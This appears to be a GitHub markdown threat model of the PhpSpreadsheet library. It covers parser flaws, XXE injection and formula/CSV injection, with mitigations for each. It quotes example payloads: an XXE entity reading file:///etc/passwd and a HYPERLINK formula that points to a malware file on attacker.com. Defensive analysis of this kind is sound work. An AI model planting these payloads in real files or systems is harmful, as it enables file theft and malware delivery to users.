Skip to content

Latest commit

 

History

History
52 lines (45 loc) · 4.89 KB

attack-surface.md

File metadata and controls

52 lines (45 loc) · 4.89 KB

Attack Surface Analysis for phpoffice/phpspreadsheet

Attack Surface: Maliciously Crafted Spreadsheet Files (Parsing Vulnerabilities)

  • Description: Exploitation of vulnerabilities in PhpSpreadsheet's file format parsers (XLSX, XLS, CSV, ODS, etc.) through specially crafted input files. This is the core, direct attack surface of the library.
  • How PhpSpreadsheet Contributes: PhpSpreadsheet is the code that parses these files. Any bugs in its parsing logic are directly exploitable.
  • Example: An attacker uploads a crafted XLSX file with a malformed XML structure that triggers a buffer overflow or an integer overflow in the XLSX parser, leading to remote code execution. Or, a crafted CSV with an extremely large number of rows/columns to cause a denial of service.
  • Impact:
    • Remote Code Execution (RCE) - Critical
    • Denial of Service (DoS) - High
    • Information Disclosure (less likely, but possible) - High
  • Risk Severity: Critical to High
  • Mitigation Strategies:
    • Input Validation: Strictly validate file types and enforce maximum file size limits. Do not rely solely on file extensions.
    • Regular Updates: Keep PhpSpreadsheet and all its dependencies (especially libxml2, ext-zip) updated to the latest versions. This is the most important mitigation.
    • Fuzz Testing: Conduct regular fuzz testing of the various file format parsers. This is a proactive measure to find vulnerabilities before attackers do.
    • Least Privilege: Run the application with the lowest possible privileges.
    • Sandboxing/Containerization: Isolate the application.
    • Disable Unused Parsers: If possible, disable support for unneeded file formats.
    • WAF (Web Application Firewall): Can provide some protection, but is not a primary defense.

Attack Surface: XML External Entity (XXE) Injection

  • Description: Exploitation of insecure XML parsing in the XLSX reader. Attackers inject external entities to access local files, internal network resources, or cause DoS. This is a specific, high-impact vulnerability type within the broader parsing vulnerability category.
  • How PhpSpreadsheet Contributes: PhpSpreadsheet uses an XML parser (likely libxml2 via PHP's XML extensions) to process XLSX files. The vulnerability exists if this parser is misconfigured.
  • Example: An attacker uploads an XLSX file with an XML entity referencing file:///etc/passwd or a remote DTD that causes a denial of service.
  • Impact:
    • Local File Disclosure - High
    • Server-Side Request Forgery (SSRF) - High
    • Denial of Service (DoS) - High
  • Risk Severity: High
  • Mitigation Strategies:
    • Disable External Entities: Crucially, disable the loading of external entities in the XML parser using libxml_disable_entity_loader(true); before any PhpSpreadsheet calls that process XLSX files. This is the primary and most effective mitigation.
    • Use a Safe XML Parser Configuration: If external entities are absolutely required (highly discouraged), use a secure configuration with strict restrictions.
    • Input Validation: While not the primary defense, validating the XLSX structure before parsing can help detect some malicious attempts.

Attack Surface: Formula Injection (including CSV Injection)

  • Description: Injection of malicious formulas into any supported spreadsheet format (including CSV) that are executed when the file is opened in a spreadsheet program.
  • How PhpSpreadsheet Contributes: PhpSpreadsheet is used to generate the spreadsheet file. If the application using PhpSpreadsheet doesn't properly sanitize user input before writing it to the file, the vulnerability is created.
  • Example: An attacker provides input containing =HYPERLINK("http://attacker.com/malware.exe","Click Me") which is written directly to a cell without escaping.
  • Impact:
    • Execution of arbitrary code on the user's machine (client-side) - High
    • Phishing attacks - High
    • Data exfiltration - High
  • Risk Severity: High
  • Mitigation Strategies:
    • Data Sanitization: Always escape special characters (especially =, +, -, @, and tab/newline characters) in any user-provided data written to a spreadsheet file. Prepend a single quote (') to cell values starting with these characters.
    • Content Security Policy (CSP): If the generated file is opened in a web browser, use a strong CSP.
    • Educate Users: Inform users about the risks.
    • Avoid Direct User Input in Formulas: If possible, avoid using user input directly within formulas. Use whitelisting if necessary.